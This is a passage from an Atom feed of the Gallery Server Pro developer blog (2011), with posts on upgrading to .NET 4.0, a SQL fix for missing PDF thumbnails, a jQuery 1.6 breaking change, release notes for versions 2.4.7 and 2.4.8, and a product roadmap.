type='html'>&lt;p&gt;Gallery Server Pro 2.0 – 2.4 runs on any version of .NET from 2.0 - 4.0. Beginning with version 2.5, Gallery Server Pro requires .NET 4.0 or higher. This change allows GSP to take advantage of new features such as Entity Framework Code First development for SQL Compact CE and LINQ, while also simplifying the packaging and documentation requirements. (You may have noticed that 2.4 ships with six versions of web.config!)&lt;/p&gt;  &lt;p&gt;If you are currently running GSP 2.3.* or 2.4.*, I recommend upgrading your gallery to .NET 4.0 *before* upgrading the gallery code to GSP 2.5. Technically, you could perform the .NET 4 upgrade and the GSP 2.5 upgrade at the same time, but why complicate things? By separating it into two steps, if anything goes wrong, it will be easier to troubleshoot.&lt;/p&gt;  &lt;p&gt;What if you are using GSP 2.0 – 2.2? Those versions never shipped with a .NET 4.0 version of web.config, and I don’t think it is worth the trouble trying to get them working under .NET 4.0 only to immediately upgrade to GSP 2.5. For these versions, I recommend performing the upgrade to .NET 4.0 and GSP 2.5 at the same time. The Admin Guide has instructions for how to do this.&lt;/p&gt;  &lt;p&gt;The rest of this post is intended to help you get your GSP 2.3 – 2.4 gallery running under .NET 4.0. This basically involves two steps:&lt;/p&gt;  &lt;p&gt;1. Configure IIS to run the application under .NET 4.    &lt;br /&gt;2. Update web.config to conform to .NET 4.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Configure IIS to run the application under .NET 4.&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;This step is performed with IIS Manager (type inetmgr in a Start-Run box). For IIS 6, right click the gallery web application and choose Properties. Then click the ASP.NET tab and select 4.0 in the ASP.NET version dropdown box.&lt;/p&gt;  &lt;p&gt;For IIS 7 and higher, the .NET version is associated with the application pool the application is running under. In IIS Manager, select the Application Pools node in the treeview, then double-click the relevant application pool in the grid. A dialog appears where you can change the .NET Framework version to 4.0. If you don't know which app pool the gallery is running under, right-click the name of the application in the treeview and select Manage Application - Advanced Settings. This brings up a dialog window that shows the app pool.&lt;/p&gt;  &lt;p&gt;If you are using a hosting provider, look in your host’s control panel for this setting.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Update web.config to conform to .NET 4.&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The web.config file, stored in the root of the web application, contains several references to a specific version of .NET. These must be updated to .NET 4.0 references or, in some cases, removed since they are now present in the machine-wide web.config file. Follow these steps:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Rename your existing web.config to web_old.config. &lt;/li&gt;    &lt;li&gt;Grab the relevant web.config from &lt;a title="2.5 Upgrade Resources" href="http://www.galleryserverpro.com/download/2.5UpgradeResources.zip"&gt;this download&lt;/a&gt; and copy to your web application. For example, if you have version 2.3 with SQLite as your database, use web.config from the “Files for upgrading from 2.3\SQLite” directory. &lt;/li&gt;    &lt;li&gt;(SQL Server only) Update the connection string to your SQL Server database in web.config with the one from your previous one (now named web_old.config). It should be named SqlServerDbConnection. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;If you made any changes to your web.config file, you must manually migrate them to the new web.config file. &lt;/li&gt;    &lt;li&gt;If your version is 2.3.3421 to 2.3.3512, you should also migrate the &lt;font color="#800000"&gt;&amp;lt;location path=&amp;quot;gs/services/Gallery.asmx&amp;quot;&amp;gt;&lt;/font&gt; section from your old web.config file. (This section is not required in 2.3.3512 and later, as there is a web.config file in the services directory that performs this task.) &lt;/li&gt;    &lt;li&gt;You are on your own if you want to get GSP 2.0 – 2.2 working on .NET 4.0. It can be done, but you have to carefully upgrade your web.config to the .NET 4.0 version. As I said before, for these versions I recommend upgrading to .NET 4.0 and GSP 2.5 in a single step. Instructions are provided in the Admin Guide. &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5560011522205333785?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5560011522205333785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5560011522205333785' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5560011522205333785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5560011522205333785'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/upgrading-your-gallery-to-net-40.html' title='Upgrading your gallery to .NET 4.0'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8240808671068162634</id><published>2011-05-24T09:50:00.001-05:00</published><updated>2011-05-24T09:50:10.823-05:00</updated><title type='text'>Bug: Thumbnail image not generated for PDF files</title><content type='html'>&lt;p&gt;Today I discovered a bug that affects all galleries upgraded from a version earlier than 2.4.3. You are affected if all of the following are true:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You have PDF files in your gallery. &lt;/li&gt;    &lt;li&gt;You originally installed GSP before version 2.4.3 and then upgraded to one of the later versions. &lt;/li&gt;    &lt;li&gt;Your site is running in Full Trust. &lt;/li&gt;    &lt;li&gt;You installed the Gallery Server Pro Binary Pack. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;In short, this is a bug in the SQL upgrade script that shipped in 2.4.3 and later. Fortunately, there is an easy fix.&lt;/p&gt;  &lt;p&gt;First, some background: In a default installation GSP creates a generic thumbnail image for PDF files, like this:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/TdvFnO0ng0I/AAAAAAAAAS4/WwDwKpVmoZU/s1600-h/GenericThumbnailImage_PDF%5B5%5D.jpg"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="GenericThumbnailImage_PDF" border="0" alt="GenericThumbnailImage_PDF" src="http://lh5.ggpht.com/_qh4427KVFsk/TdvFnUZoU3I/AAAAAAAAAS8/lo3dRKNkal0/GenericThumbnailImage_PDF_thumb%5B3%5D.jpg?imgmax=800" width="124" height="124" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;When you install the Gallery Server Pro Binary Pack, GSP uses the ImageMagick and GhostScript utilities to generate a thumbnail image that is an actual preview of the PDF file:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/TdvFn9zcHrI/AAAAAAAAATA/BW5md-v4ifk/s1600-h/AdminGuide_ss_116x145%5B2%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="AdminGuide_ss_116x145" border="0" alt="AdminGuide_ss_116x145" src="http://lh3.ggpht.com/_qh4427KVFsk/TdvFovo557I/AAAAAAAAATE/3e9zqW3BOg8/AdminGuide_ss_116x145_thumb.png?imgmax=800" width="120" height="149" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Today I discovered a bug, introduced in 2.4.3, where PDF files *always* get the generic thumbnail image, even when the binary pack is installed. The cause of this is a typo in the SQL upgrade script for 2.4.3:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;UPDATE [gs_GallerySetting]    &lt;br /&gt;SET [SettingValue] = 'pdf,.txt,.eps,.psd,.tif,.tiff'     &lt;br /&gt;WHERE [SettingName] = 'ImageMagickFileTypes';&lt;/p&gt;  &lt;p&gt;See the typo? I missed the period in front of ‘pdf’. To fix your gallery, update the setting to include the period. You can use this SQL:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;UPDATE [gs_GallerySetting]    &lt;br /&gt;SET [SettingValue] = '.pdf,.txt,.eps,.psd,.tif,.tiff'     &lt;br /&gt;WHERE [SettingName] = 'ImageMagickFileTypes';&lt;/p&gt;  &lt;p&gt;Since these settings are cached, recycle the IIS application pool to force the gallery to get a fresh copy from the database.&lt;/p&gt;  &lt;p&gt;The next version of GSP will include a fix for this.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8240808671068162634?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8240808671068162634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8240808671068162634' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8240808671068162634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8240808671068162634'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/05/bug-thumbnail-image-not-generated-for.html' title='Bug: Thumbnail image not generated for PDF files'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/TdvFnUZoU3I/AAAAAAAAAS8/lo3dRKNkal0/s72-c/GenericThumbnailImage_PDF_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6514088049023019140</id><published>2011-05-10T09:05:00.001-05:00</published><updated>2011-05-10T09:39:12.253-05:00</updated><title type='text'>jQuery 1.6 introduces breaking change</title><content type='html'>&lt;p&gt;On May 3, jQuery introduced a new version that breaks some of the functionality of Gallery Server Pro 2.4.6 and higher. Earlier versions are not affected. Also not affected is the Gallery Server Pro DotNetNuke Module, *unless* you explicitly changed the default jQuery settings. The good news is there is an easy fix I describe at the end of this post.&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" size="3"&gt;Background&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro uses jQuery to provide a rich user experience. Starting with 2.3.3750, a default installation of GSP uses the Google hosted versions of the jQuery library rather than a locally stored copy of the .js file. This allows the browser to use a previously cached copy of jquery, resulting in a faster loading page.&lt;/p&gt;  &lt;p&gt;There are a number of ways one can construct the URL to point to Google’s copy of jQuery. Here are a few examples of how I’ve tinkered with the URL:&lt;/p&gt;  &lt;p&gt;2.3.3750: &lt;a title="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js" href="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;2.4.0: &lt;a title="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" href="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;2.4.5: &lt;a title="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" href="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;2.4.6 – 2.4.8: &lt;a href="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"&gt;//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Notice how the version number is specified. By omitting the minor version from the 2.4.6 and later releases, Google automatically serves the latest 1.X release. You get the benefit of having the latest version of jQuery without having to explicitly upgrade.&lt;/p&gt;  &lt;p&gt;But there is some risk with that approach, which brings me to the topic of this post. On May 3, jQuery released version 1.6. It contains a number of improvements and performance enhancements. Unfortunately, it also introduces a breaking change that causes an immediate problem on all 2.4.6 and higher Gallery Server Pro releases. Earlier GSP versions are not affected because the jQuery URL pointed to either a local jQuery file (versions earlier than 2.3.3750) or one of the 1.4 versions. jQuery 1.6 changes how attributes are handled. The details are in this &lt;a title="JQUERY 1.6 RELEASED" href="http://blog.jquery.com/2011/05/03/jquery-16-released/"&gt;blog post&lt;/a&gt;, but what it means to GSP is that the handling of checkboxes and the enabling/disabling of HTML elements in several of the admin pages are broken.&lt;/p&gt;  &lt;p&gt;For example, as user happylynlyn pointed out yesterday in the &lt;a href="http://forum.galleryserverpro.com/yaf_postsm7085_Override-the-following-default-settings-issue.aspx"&gt;forum&lt;/a&gt;, selecting the option ‘Override the following default settings’ on the Gallery Control Settings page no longer enables the child options. This issue also affects the Manage Roles, User Settings, and Metadata pages.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;The issue only affects these few pages in the site admin area – browsing the gallery and performing tasks in the gallery (add/editing objects, etc) are not affected.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" size="3"&gt;The Fix&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;I will have this resolved in the next release. Until then, there is an easy workaround – just tell Gallery Server Pro to use an earlier version of jQuery. On the Site Settings – General page, update the jQuery path to specify version 1.5:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="jquery1.6fix" border="0" alt="jquery1.6fix" src="http://lh4.ggpht.com/_qh4427KVFsk/TclGKz2Dz8I/AAAAAAAAAS0/bb7D_pVALsM/jquery1.6fix%5B4%5D.png?imgmax=800" width="591" height="269" /&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6514088049023019140?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6514088049023019140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6514088049023019140' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6514088049023019140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6514088049023019140'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/05/jquery-16-introduces-breaking-change.html' title='jQuery 1.6 introduces breaking change'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/TclGKz2Dz8I/AAAAAAAAAS0/bb7D_pVALsM/s72-c/jquery1.6fix%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5114290373154336106</id><published>2011-04-29T13:19:00.001-05:00</published><updated>2011-04-29T23:38:05.771-05:00</updated><title type='text'>Gallery Server Pro 2.4.8 Released</title><content type='html'>&lt;p&gt;Version 2.4.8 was released today. It contains fixes for three bugs that won’t seriously affect most people, but I wanted to get it out the door so I can focus on the 2.5 drive. The release includes these fixes:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Logging in does not preserve the original requested album or media object &lt;/li&gt;    &lt;li&gt;Cannot manage users or roles when they contain certain characters &lt;/li&gt;    &lt;li&gt;(DotNetNuke) Gallery doesn't work when user-friendly URLs are disabled &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/support/DefectsFixed_v2_4_8.pdf"&gt;Get more details about the bugs here&lt;/a&gt;. To upgrade from 2.4.7, download the 2.4.8 files to your hard drive. Then replace the GalleryServerPro.*.dll files in the bin directory with those from the download. Finally, replace the following files in your gallery with the matching file in the download:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;App_GlobalResources/GalleryServerPro.resx &lt;/li&gt;    &lt;li&gt;gs/pages/admin/usersettings.ascx &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;If you are upgrading from a version earlier than 2.4.7, follow the instructions in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5114290373154336106?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5114290373154336106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5114290373154336106' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5114290373154336106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5114290373154336106'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/04/gallery-server-pro-248-released.html' title='Gallery Server Pro 2.4.8 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5826224285250880455</id><published>2011-04-22T16:19:00.001-05:00</published><updated>2011-08-25T13:19:03.262-05:00</updated><title type='text'>Gallery Server Pro Roadmap</title><content type='html'>&lt;p&gt;I’ve gotten a lot of good feedback in the &lt;a title="Gallery Server Pro poll on future direction" href="http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx"&gt;poll about the future of Gallery Server Pro&lt;/a&gt; – keep on voting! I am particularly pleased that the two lowest vote-getters are “improve performance” and “improve reliability”. That tells me you think Gallery Server Pro is fast and robust. I spent a lot of time getting it there, so it is gratifying to see some objective confirmation.&lt;/p&gt;  &lt;p&gt;Based on those results and my internal spidey sense, here is where I see the upcoming versions and features working out. This is rough and can and will change, but at this moment it is my best guess.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;2.4.7 (Released April 21, 2011)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;All known issues in the 2.4.X code base are fixed and the product is stable and performing well. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;2.5 (June 2011)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Migrate the code base to .NET 4.0. &lt;/li&gt;    &lt;li&gt;Replace the SQLite data provider with SQL Server CE 4.0. This will allow for simple xcopy deployment that works in medium trust – kind of the holy grail I’ve been wanting for several years. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;3.0 (2012)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Easier skinning/customizing UI (the top vote-getter in the poll) &lt;/li&gt;    &lt;li&gt;User comments/ratings (#2 in the poll) &lt;/li&gt;    &lt;li&gt;New upload experience (#3 in the poll). Allow multiple file selection on client. Possibly include option to create optimized images on client and upload those rather than original images, greatly reducing upload time. &lt;/li&gt;    &lt;li&gt;Tagging (heirarchical?) &lt;/li&gt;    &lt;li&gt;Virtual albums: browse by tags, most recent, top rated, most commented, user &lt;/li&gt;    &lt;li&gt;Editable metadata &lt;/li&gt;    &lt;li&gt;New sorting options &lt;/li&gt;    &lt;li&gt;Allow users to password protect individual albums/media objects &lt;/li&gt;    &lt;li&gt;Namespaced javascript so multiple instances of control can be on same web page &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Future (2012-2013)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Add viewmode 'Map' that displays map of GPS coordinates &lt;/li&gt;    &lt;li&gt;Allow gallery-level settings to be overridden at the album level (MO title template, watermark, etc) &lt;/li&gt;    &lt;li&gt;Allow separate media object title templates for thumbnail and optimized images &lt;/li&gt;    &lt;li&gt;User quotas &lt;/li&gt;    &lt;li&gt;Ability to regenerate captions from updated MO title template &lt;/li&gt;    &lt;li&gt;Mobile app support &lt;/li&gt;    &lt;li&gt;DeepZoom support &lt;/li&gt;    &lt;li&gt;Fullscreen slideshow &lt;/li&gt;    &lt;li&gt;Expand scope of error log to be an event log &lt;/li&gt;    &lt;li&gt;E-mail notifications of gallery updates &lt;/li&gt;    &lt;li&gt;Log history (viewing, edits, delete, etc) &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Way, way Future (2040-2050)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Include teleport feature to take viewer to GPS location embedded in image &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Keep your feedback coming. Does this roadmap gel with your needs?&lt;/p&gt;  &lt;p&gt;And keep those donations coming! Your financial support allows me to continue working on Gallery Server Pro instead of taking some high-paying consulting work. The pay is poverty-level (average donation for Jan-Mar 2011 was $1300/month), but is highly satisfying, so I expect to keep at it as long as I can keep paying the bills.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5826224285250880455?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5826224285250880455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5826224285250880455' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5826224285250880455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5826224285250880455'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/04/roadmap.html' title='Gallery Server Pro Roadmap'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6647313603419996007</id><published>2011-04-21T17:21:00.001-05:00</published><updated>2011-04-22T12:55:34.447-05:00</updated><title type='text'>Gallery Server Pro 2.4.7 Released</title><content type='html'>&lt;p&gt;Today I released version 2.4.7 of Gallery Server Pro. All versions have been updated, but the Web Application Gallery version takes a few days to get approved by Microsoft, so be patient for that one. There are no new features in this release; only bug fixes and one web.config change:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Various functions do not work when viewStateEncryptionMode=&amp;quot;Always&amp;quot; &lt;/li&gt;    &lt;li&gt;Case difference in username during logon causes duplicate user album &lt;/li&gt;    &lt;li&gt;Username not HTML encoded &lt;/li&gt;    &lt;li&gt;Exception data of inner exception not logged &lt;/li&gt;    &lt;li&gt;Possible NullReferenceException when gallery contains images with GPS metadata &lt;/li&gt;    &lt;li&gt;HTML embed code contains incorrect URL when the website is installed in a virtual directory &lt;/li&gt;    &lt;li&gt;Role name that contains HTML cannot be assigned to user &lt;/li&gt;    &lt;li&gt;Cannot add/remove roles for user when membership is read-only &lt;/li&gt;    &lt;li&gt;embed.aspx moved from web root to \gs\ directory &lt;/li&gt;    &lt;li&gt;web.config change: ViewStateEncryptionMode now set to “Always” &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;More details can be found in the &lt;a title="Fixed Defect Report for Gallery Server Pro 2.4.7" href="http://www.galleryserverpro.com/support/DefectsFixed_v2_4_7.pdf"&gt;Fixed Defect Report&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;To upgrade from 2.4.6, download the 2.4.7 files to your hard drive. Then replace the GalleryServerPro.*.dll files in the bin directory with those from the download. Finally, replace the following files in your gallery with their matching file in the download:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;App_GlobalResources/GalleryServerPro.resx &lt;/li&gt;    &lt;li&gt;gs/embed.aspx (this is a new location; you may want to keep the original embed.aspx in the root directory if you have existing bits of embed code that point to this file) &lt;/li&gt;    &lt;li&gt;gs/controls/myaccount.ascx &lt;/li&gt;    &lt;li&gt;gs/controls/albumedittemplate.ascx &lt;/li&gt;    &lt;li&gt;gs/controls/thumbnailview.ascx      &lt;ul&gt;&lt;!--EndFragment--&gt;&lt;/ul&gt;   &lt;/li&gt;    &lt;li&gt;gs/pages/admin/manageroles.ascx &lt;/li&gt;    &lt;li&gt;gs/pages/admin/manageusers.ascx &lt;/li&gt;    &lt;li&gt;gs/pages/myaccount.ascx &lt;/li&gt;    &lt;li&gt;gs/script/mediaobjectview.js &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;If you are upgrading from a version earlier than 2.4.6, follow the instructions in the &lt;a title="Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I’ll discuss a couple of the more interesting bugs.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Various functions do not work when viewStateEncryptionMode=&amp;quot;Always&amp;quot;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I first learned about this issue from &lt;a href="http://forum.galleryserverpro.com/yaf_postsm7003_Unable-to-manage-the-Membership.aspx"&gt;a user about a month ago&lt;/a&gt;. First, some background: One can specify that the view-state always be encrypted by setting a property in web.config:&lt;/p&gt;  &lt;p style="font-family: courier new; color: #800"&gt;&amp;lt;pages … viewStateEncryptionMode=&amp;quot;Always&amp;quot;&amp;gt;&lt;/p&gt;  &lt;p&gt;When not specified, this setting is “Auto”, which means view-state is encrypted only when a control requests it. GSP works fine in “Auto” mode, but one of the third party controls it uses cannot handle the setting “Always”. This is the Callback control from ComponentArt, which is a nifty control I use for Ajax callbacks that is a nice balance between raw Ajax requests and the heavyweight UpdatePanel. When view-state is encrypted and the Callback control’s PostState property is set to “true”, this control fails with one of these messages:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;“An error occurred while communicating with the server. Try again. Error: Invalid response from server.”&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;“The data could not be loaded.”&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;This issue affected the following functions in GSP:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Album thumbnail paging &lt;/li&gt;    &lt;li&gt;Adding/editing a user on the Manage Users page &lt;/li&gt;    &lt;li&gt;Adding/editing a role on the Manage Roles page &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;While this problem has always existed, it hasn’t appeared on my radar until a few weeks ago. This is because version 5.6.1 of DotNetNuke, released January 19, 2011, started using “Always” as its default setting. DotNetNuke didn’t announce the change ahead of time because they &lt;a href="http://support.dotnetnuke.com/issue/ViewIssue.aspx?ID=14675&amp;amp;PROJID=2"&gt;didn’t think it would be a breaking change&lt;/a&gt; for anyone. But this was a big problem for GSP.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.componentart.com/community/forums/p/62614/105063.aspx"&gt;I contacted ComponentArt&lt;/a&gt; and they were responsive in evaluating the issue, but in the end they couldn’t provide a fix, acceptable workaround, or estimated date for a fix. So I replaced the album thumbnail paging with a traditional hyperlink architecture, where navigating to the next and previous pages is done with hyperlinks. And I re-architected the user and role management pages to use Microsoft’s UpdatePanel. In the end the changes should be largely invisible to end users.&lt;/p&gt;  &lt;p&gt;To keep the settings consistent between the various flavors of GSP, the web.config of all versions now set this setting to “Always”. There is a small performance impact of this change (about 1-2%), so if you don’t need this extra security and want the fastest possible gallery, feel free to change this back to “Auto”.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Cannot add/remove roles for user when membership is read-only&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;One of the great features of Gallery Server Pro is its ability to use Active Directory integration for membership. This can be easily achieved through a few simple edits to web.config (see the Admin Guide for step by step directions). However, there has always been a limitation where one can’t add or remove roles for a user when the web application doesn’t have permission to modify Active Directory data. The Admin Guide describes a few workarounds, but I finally got around to eliminating the limitation altogether.&lt;/p&gt;  &lt;p&gt;When clicking the Save button for a user on the Manage Users page, the gallery does two things: (1) update the user properties in the membership provider (such as e-mail address, comment, or approval status), and (2) update the list of roles the member belongs to. Starting with 2.4.7, if there aren’t any changes to the user properties, then only the role membership is updated. That is, 